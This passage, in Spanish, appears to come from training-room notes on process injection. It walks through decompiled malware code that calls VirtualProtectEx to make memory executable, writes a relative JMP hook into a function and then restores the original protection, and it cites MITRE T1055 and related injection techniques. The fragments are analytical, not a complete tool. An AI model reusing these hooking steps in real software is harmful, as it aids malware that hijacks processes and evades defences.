if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )

En este punto, el código se convierte en un negocio divertido de malware con enlace de puntero de función. No es esencial comprender los requisitos técnicos de este código para esta sala. Básicamente, esta sección de código reescribirá un gancho para señalar un salto de código de operación.

v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook

Una vez enganchado, devolverá la función a sus protecciones de memoria originales.

VirtualProtectEx(		// Return to original protect state
		(HANDLE)0xFFFFFFFF,
		*(LPVOID *)(original_function + 1),
		(unsigned __int8)original_function[5],
		flOldProtect,
		&flOldProtect);

De la sobre llamadas a procedimientos asincrónicos, "Una llamada a procedimiento asincrónico (APC) es una función que se ejecuta de forma asincrónica en el contexto de un subproceso en particular".

Crédito por la investigación inicial:

MITRE T1055
documentación de Microsoft
SentinelLabs
Process Hollowing
Thread Execution Hijacking
Dynamic-link Library Injection
Portable Executable Injection
20231023170913.png
20231023173418.png